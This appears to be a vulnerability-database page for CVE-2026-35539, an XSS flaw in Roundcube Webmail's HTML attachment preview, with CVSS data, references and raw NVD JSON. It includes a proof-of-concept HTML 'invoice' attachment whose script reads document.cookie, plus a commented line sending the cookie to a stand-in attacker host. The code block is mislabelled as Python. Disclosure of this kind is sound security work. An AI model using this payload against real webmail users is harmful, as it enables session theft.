CVE-2026-35539

Description

An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. XSS exists because of insufficient HTML attachment sanitization in preview mode. A victim must preview a text/html attachment.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE

Roundcube Webmail < 1.5.14

Roundcube Webmail < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept: Malicious HTML Attachment -->
<!DOCTYPE html>
<html>
<head>
    <title>Invoice Preview</title>
</head>
<body>
    <h1>Please review the attached document</h1>
    
    <!-- Malicious script to exploit XSS -->
    <script>
        // Demonstrate execution
        alert('CVE-2026-35539 Exploited: ' + document.cookie);
        
        // In a real attack scenario, data would be exfiltrated
        // var img = new Image();
        // img.src = "http://attacker-server.com/steal?c=" + encodeURIComponent(document.cookie);
    </script>
    
    <p>Content looks legitimate...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35539
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35539
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35539/
[4] VulDB https://vuldb.com/cve/CVE-2026-35539
[5] https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1
[6] https://github.com/roundcube/roundcubemail/commit/1b30edf5369668c92fe91dae3d52e477c808aa4f
[7] https://github.com/roundcube/roundcubemail/commit/d742954ccbcdee7020f8f2e7c49ce0fca5a0efab
[8] https://github.com/roundcube/roundcubemail/releases/tag/1.5.14
[9] https://github.com/roundcube/roundcubemail/releases/tag/1.6.14
[10] https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5
[11] https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35539", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:21.920", "lastModified": "2026-04-07T20:53:07.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. XSS exists because of insufficient HTML attachment sanitization in preview mode. A victim must preview a text/html attachment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.14", "matchCriteriaId": "40F75FD7-CF6D-4DC4-A33D-625D0F02FAB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.14", "matchCriteriaId": "AF4B6448-D4F5-4680-B32C-9366630E9485"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/1b30edf5369668c92fe91dae3d52e477c808aa4f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/d742954ccbcdee7020f8f2e7c49ce0fca5a0efab", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}